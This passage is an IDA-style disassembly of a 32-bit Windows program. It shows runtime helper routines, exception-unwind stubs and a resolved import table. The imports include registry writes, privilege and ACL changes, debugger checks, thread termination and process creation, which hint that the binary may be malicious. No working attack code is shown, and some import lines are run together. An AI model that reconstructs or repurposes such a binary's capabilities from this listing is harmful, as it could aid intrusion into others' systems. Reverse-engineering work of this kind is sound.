		test	eax, eax
		jz	short loc_435F4F
		mov	edi, [esp+8+arg_4]


loc_435F26:				; CODE XREF: sub_435F14+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_434C1A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_435F45
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_435F5F
		test	al, al
		jz	short loc_435F5F


loc_435F45:				; CODE XREF: sub_435F14+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_435F26


loc_435F4F:				; CODE XREF: sub_435F14+Cj
		mov	eax, esi
		sub	eax, dword_6769EC
		sar	eax, 2
		neg	eax


loc_435F5C:				; CODE XREF: sub_435F14+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_435F5F:				; CODE XREF: sub_435F14+2Bj
					; sub_435F14+2Fj
		mov	eax, esi
		sub	eax, dword_6769EC
		sar	eax, 2
		jmp	short loc_435F5C
sub_435F14	endp


; =============== S U B	R O U T	I N E =======================================



sub_435F6C	proc near		; CODE XREF: sub_435D8D+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_435F7B
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_435F7B:				; CODE XREF: sub_435F6C+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_435F8D


loc_435F83:				; CODE XREF: sub_435F6C+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_435F83


loc_435F8D:				; CODE XREF: sub_435F6C+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_4297B8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_435FAE
		push	9
		call	sub_42C67C
		pop	ecx


loc_435FAE:				; CODE XREF: sub_435F6C+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_435FB2:				; CODE XREF: sub_435F6C+5Bj
		test	eax, eax
		jz	short loc_435FC9
		push	eax
		add	ebx, 4
		call	sub_4362D0
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_435FB2
; ---------------------------------------------------------------------------


loc_435FC9:				; CODE XREF: sub_435F6C+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_435F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_435FD3	proc near		; CODE XREF: sub_434DF9+68p
					; sub_434DF9+B9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		lea	eax, [eax+eax*8]
		mov	esi, 8000h
		mov	ecx, dword_676EE0[ecx*4]
		lea	edx, [ecx+eax*4+4]
		mov	cl, [ecx+eax*4+4]
		mov	al, cl
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_436009
		and	cl, 7Fh
		jmp	short loc_436016
; ---------------------------------------------------------------------------


loc_436009:				; CODE XREF: sub_435FD3+2Fj
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_436024
		or	cl, 80h


loc_436016:				; CODE XREF: sub_435FD3+34j
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_436024:				; CODE XREF: sub_435FD3+3Ej
		call	sub_42F119
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_435FD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436034	proc near		; CODE XREF: sub_435852+165p
					; sub_436254+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_436234
		cmp	cx, 7FFFh
		jnb	loc_436234
		cmp	dx, 0BFFDh
		ja	loc_436234
		cmp	dx, 3FBFh
		ja	short loc_43609D
		xor	eax, eax
		jmp	short loc_4360D7
; ---------------------------------------------------------------------------


loc_43609D:				; CODE XREF: sub_436034+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_4360BF
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_4360BF
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_4360C1
		cmp	[esi], eax
		jnz	short loc_4360C1
		jmp	loc_43622E
; ---------------------------------------------------------------------------


loc_4360BF:				; CODE XREF: sub_436034+71j
					; sub_436034+79j
		xor	eax, eax


loc_4360C1:				; CODE XREF: sub_436034+80j
					; sub_436034+84j
		cmp	cx, ax
		jnz	short loc_4360E4
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_4360E4
		cmp	[ebx+4], eax
		jnz	short loc_4360E4
		cmp	[ebx], eax
		jnz	short loc_4360E4


loc_4360D7:				; CODE XREF: sub_436034+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_43624F
; ---------------------------------------------------------------------------


loc_4360E4:				; CODE XREF: sub_436034+90j
					; sub_436034+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_4360F4:				; CODE XREF: sub_436034+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_436148
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_436110:				; CODE XREF: sub_436034+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_4351E0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_43613B
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_43613B:				; CODE XREF: sub_436034+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_436110


loc_436148:				; CODE XREF: sub_436034+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_4360F4
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_43618B


loc_436166:				; CODE XREF: sub_436034+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_436184
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_43525F
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_436166


loc_436184:				; CODE XREF: sub_436034+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_4361C4


loc_43618B:				; CODE XREF: sub_436034+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_4361C4
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_4361A4:				; CODE XREF: sub_436034+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_4361AD
		inc	[ebp+var_14]


loc_4361AD:				; CODE XREF: sub_436034+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_43528D
		dec	ebx
		pop	ecx
		jnz	short loc_4361A4
		cmp	[ebp+var_14], 0
		jz	short loc_4361C4
		or	byte ptr [ebp+var_24], 1


loc_4361C4:				; CODE XREF: sub_436034+155j
					; sub_436034+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_4361DB
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_436210


loc_4361DB:				; CODE XREF: sub_436034+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_43620D
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_436208
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_436202
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_436210
; ---------------------------------------------------------------------------


loc_436202:				; CODE XREF: sub_436034+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_436210
; ---------------------------------------------------------------------------


loc_436208:				; CODE XREF: sub_436034+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_436210
; ---------------------------------------------------------------------------


loc_43620D:				; CODE XREF: sub_436034+1ABj
		inc	[ebp+var_24+2]


loc_436210:				; CODE XREF: sub_436034+1A5j
					; sub_436034+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_436234
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_43622E:				; CODE XREF: sub_436034+86j
		mov	[esi+0Ah], ax
		jmp	short loc_43624F
; ---------------------------------------------------------------------------


loc_436234:				; CODE XREF: sub_436034+42j
					; sub_436034+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_43624F:				; CODE XREF: sub_436034+ABj
					; sub_436034+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_436034	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436254	proc near		; CODE XREF: sub_435381+440p
					; sub_435852+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_453D70
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_4362CD
		jge	short loc_43627C
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_453ED0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_43627C:				; CODE XREF: sub_436254+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_436287
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_436287:				; CODE XREF: sub_436254+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_4362CD
		push	esi
		push	edi


loc_43628E:				; CODE XREF: sub_436254+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_4362C6
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_4362B9
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_4362B9:				; CODE XREF: sub_436254+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_436034
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_4362C6:				; CODE XREF: sub_436254+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_43628E
		pop	edi
		pop	esi


loc_4362CD:				; CODE XREF: sub_436254+14j
					; sub_436254+36j
		pop	ebx
		leave
		retn
sub_436254	endp


; =============== S U B	R O U T	I N E =======================================



sub_4362D0	proc near		; CODE XREF: sub_4279FA+21p
					; sub_435F6C+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4362F7
		push	esi
		call	sub_4293A0
		inc	eax
		push	eax
		call	sub_4297B8
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4362F7
		push	esi
		push	eax
		call	sub_42A5D0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4362F7:				; CODE XREF: sub_4362D0+7j
					; sub_4362D0+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_4362D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_436300	proc near		; CODE XREF: sub_42ACCC+13p
					; sub_42B527+23p
		jmp	dword_437230
sub_436300	endp

; ---------------------------------------------------------------------------
		align 4
		push	dword ptr [ebp-10h]
		call	sub_4290D0
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_436312:				; DATA XREF: sub_4155AAo
		mov	eax, offset dword_438120
		jmp	loc_42B576
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------


loc_436324:				; DATA XREF: sub_41985Do
		mov	eax, offset dword_438144
		jmp	loc_42B576
; ---------------------------------------------------------------------------
		align 10h


loc_436330:				; DATA XREF: .text:0043816Co
		lea	ecx, [ebp-24h]
		jmp	sub_41B19E
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-34h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		and	eax, 1
		test	eax, eax
		jz	locret_436356
		mov	ecx, [ebp+8]
		jmp	sub_41968F
; ---------------------------------------------------------------------------

locret_436356:				; CODE XREF: .text:00436348j
		retn
; ---------------------------------------------------------------------------


loc_436357:				; DATA XREF: sub_419913o
		mov	eax, offset dword_438178
		jmp	loc_42B576
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-1Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------


loc_43636C:				; DATA XREF: sub_419B11o
		mov	eax, offset dword_43819C
		jmp	loc_42B576
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-1Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------


loc_436380:				; DATA XREF: .text:004381C4o
		lea	ecx, [ebp-3Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------


loc_436388:				; DATA XREF: .text:004381CCo
		lea	ecx, [ebp-3Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------


loc_436390:				; DATA XREF: .text:004381D4o
		lea	ecx, [ebp-5Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-4Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------


loc_4363A8:				; DATA XREF: .text:004381ECo
		lea	ecx, [ebp-3Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-4Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------


loc_4363B8:				; DATA XREF: .text:004381FCo
		lea	ecx, [ebp-3Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-4Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------


loc_4363D0:				; DATA XREF: .text:00438214o
		lea	ecx, [ebp-3Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-4Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------


loc_4363E8:				; DATA XREF: .text:0043822Co
		lea	ecx, [ebp-4Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------


loc_4363F8:				; DATA XREF: .text:0043823Co
		lea	ecx, [ebp-4Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------


loc_436400:				; DATA XREF: .text:00438244o
		lea	ecx, [ebp-2Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5Ch]
		jmp	sub_41968F
; ---------------------------------------------------------------------------


loc_436418:				; DATA XREF: sub_419C4Eo
		mov	eax, offset dword_438258
		jmp	loc_42B576
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-1F4h]
		jmp	sub_41B173
; ---------------------------------------------------------------------------


loc_43642F:				; DATA XREF: .text:00438280o
		lea	ecx, [ebp-30h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0ACh]
		jmp	sub_41B173
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F0h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-44h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0BCh]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-394h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-374h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-384h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-110h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-304h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-244h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-160h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-170h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3A4h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-140h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-344h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2C4h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2E4h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E0h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1A0h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-130h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-274h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-254h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-150h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-190h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2D4h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-120h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-314h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-334h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-180h]
		jmp	sub_41968F
; ---------------------------------------------------------------------------


loc_4365D0:				; DATA XREF: .text:loc_41A08Bo
		mov	eax, offset dword_4383F4
		jmp	loc_42B576
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_41B418
; ---------------------------------------------------------------------------


loc_4365E4:				; DATA XREF: sub_41B1F5o
		mov	eax, offset dword_43848C
		jmp	loc_42B576
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-14h]
		jmp	sub_42BA1B
; ---------------------------------------------------------------------------


loc_4365F8:				; DATA XREF: sub_41B24Fo
		mov	eax, offset dword_4384B0
		jmp	loc_42B576
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_42BA1B
; ---------------------------------------------------------------------------


loc_43660C:				; DATA XREF: sub_41B2D9o
		mov	eax, offset dword_4384F0
		jmp	loc_42B576
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_42BA1B
; ---------------------------------------------------------------------------


loc_436620:				; DATA XREF: sub_41B332o
		mov	eax, offset dword_438514
		jmp	loc_42B576
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_42BA1B
; ---------------------------------------------------------------------------


loc_436634:				; DATA XREF: sub_41B38Ao
		mov	eax, offset dword_438538
		jmp	loc_42B576
; ---------------------------------------------------------------------------
		align 10h


loc_436640:				; DATA XREF: sub_41B812o
		mov	eax, offset dword_438588
		jmp	loc_42B576
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-1Ch]
		jmp	sub_420245
; ---------------------------------------------------------------------------


loc_436654:				; DATA XREF: sub_41F876o
		mov	eax, offset dword_4385AC
		jmp	loc_42B576
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-10h]
		jmp	loc_426D16
; ---------------------------------------------------------------------------


loc_436668:				; DATA XREF: .text:004385D4o
		lea	ecx, [ebp-20h]
		jmp	loc_426D16
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	loc_426D16
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_426D16
; ---------------------------------------------------------------------------


loc_436680:				; DATA XREF: sub_423C7Ao
		mov	eax, offset dword_4385E8
		jmp	loc_42B576
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_41B418
; ---------------------------------------------------------------------------


loc_436694:				; DATA XREF: sub_4290DBo
		mov	eax, offset dword_438648
		jmp	loc_42B576
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_42BA1B
; ---------------------------------------------------------------------------


loc_4366A8:				; DATA XREF: sub_429135o
		mov	eax, offset dword_438670
		jmp	loc_42B576
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_41B418
; ---------------------------------------------------------------------------


loc_4366BC:				; DATA XREF: sub_4291C3o
		mov	eax, offset dword_438698
		jmp	loc_42B576
; ---------------------------------------------------------------------------
		align 4
		dd 24Eh	dup(0)
dword_437000	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_424D65+139r ...
dword_437004	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExA					; sub_424D65+58r ...
dword_437008	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExAdword_43700C	dd 77DFD4C9h	; resolved to->ADVAPI32.GetUserNameAdword_437010	dd 77DD7753h	; resolved to->ADVAPI32.OpenProcessToken					; sub_424EAB+4Er
dword_437014	dd 77DFD11Bh	; resolved to->ADVAPI32.LookupPrivilegeValueAdword_437018	dd 77DFC534h	; resolved to->ADVAPI32.AdjustTokenPrivilegesdword_43701C	dd 77DF08D5h	; resolved to->ADVAPI32.GetSecurityInfodword_437020	dd 77E215D9h	; resolved to->ADVAPI32.SetEntriesInAclAdword_437024	dd 77DF087Fh	; resolved to->ADVAPI32.SetSecurityInfodword_437028	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExA					; sub_425092+88r ...
		align 10h
dword_437030	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_409EE2+20r ...
dword_437034	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_409EE2+Fr ...
dword_437038	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrary					; sub_424984+1Ar
dword_43703C	dd 7C80992Fh	; resolved to->KERNEL32.LocalFree					; sub_422335+95r ...
dword_437040	dd 7C80B905h	; resolved to->KERNEL32.MapViewOfFile					; sub_402A3D+43r ...
dword_437044	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_402A0E+1Ar ...
dword_437048	dd 7C80B974h	; resolved to->KERNEL32.UnmapViewOfFile					; sub_402A3D+69r ...
dword_43704C	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_41E7BE+83r ...
dword_437050	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; sub_40A9FE+B9Er ...
dword_437054	dd 7C81CE03h	; resolved to->KERNEL32.TerminateThread					; sub_42352C+6Br
dword_437058	dd 7C8312E5h	; resolved to->KERNEL32.TransactNamedPipe					; sub_4066E2+125r ...
dword_43705C	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_405C99+B8r ...
dword_437060	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_40A9FE+4C31r ...
dword_437064	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileA					; sub_40541D+3D0r ...
dword_437068	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesA					; sub_40541D+51Fr ...
dword_43706C	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_40541D+508r ...
dword_437070	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_40A7C5+24r ...
dword_437074	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; sub_430D9F+20Dr ...
dword_437078	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_405C99+2E7r ...
dword_43707C	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObject					; sub_40A9FE+29EAr ...
dword_437080	dd 7C8308ADh	; resolved to->KERNEL32.CreateEventAdword_437084	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_405C99+613r ...
dword_437088	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenA					; sub_4079AA+477r ...
dword_43708C	dd 7C8217ACh	; resolved to->KERNEL32.CreateDirectoryA					; sub_4079AA+275r
dword_437090	dd 7C834D41h	; resolved to->KERNEL32.lstrcatA					; sub_40A9FE+1B2Dr ...
dword_437094	dd 7C8214E3h	; resolved to->KERNEL32.GetDriveTypeAdword_437098	dd 7C82C2D3h	; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_41BE01+247r
dword_43709C	dd 7C8216A4h	; resolved to->KERNEL32.GetComputerNameAdword_4370A0	dd 7C8643B5h	; resolved to->KERNEL32.Module32Nextdword_4370A4	dd 7C864230h	; resolved to->KERNEL32.Module32Firstdword_4370A8	dd 7C864B0Fh	; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_4370AC	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessIddword_4370B0	dd 7C813093h	; resolved to->KERNEL32.IsDebuggerPresentdword_4370B4	dd 7C80BE01h	; resolved to->KERNEL32.lstrcpyA					; sub_40A9FE+A95r ...
dword_4370B8	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathA					; sub_427C81+17r
dword_4370BC	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_42F91D+2Ar
dword_4370C0	dd 7C810A77h	; resolved to->KERNEL32.GetFileSizedword_4370C4	dd 7C835E8Fh	; resolved to->KERNEL32.MoveFileAdword_4370C8	dd 7C80945Ch	; resolved to->KERNEL32.CreateFileMappingA					; sub_42521F+A7r ...
dword_4370CC	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSection					; sub_42C1D4+28r ...
dword_4370D0	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounter					; sub_418FA1+D0r ...
dword_4370D4	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_4182BA+687r ...
dword_4370D8	dd 7C802367h	; resolved to->KERNEL32.CreateProcessA					; sub_4182BA+62Er ...
dword_4370DC	dd 7C8024A7h	; resolved to->KERNEL32.ReleaseMutex					; sub_427DAA+89r
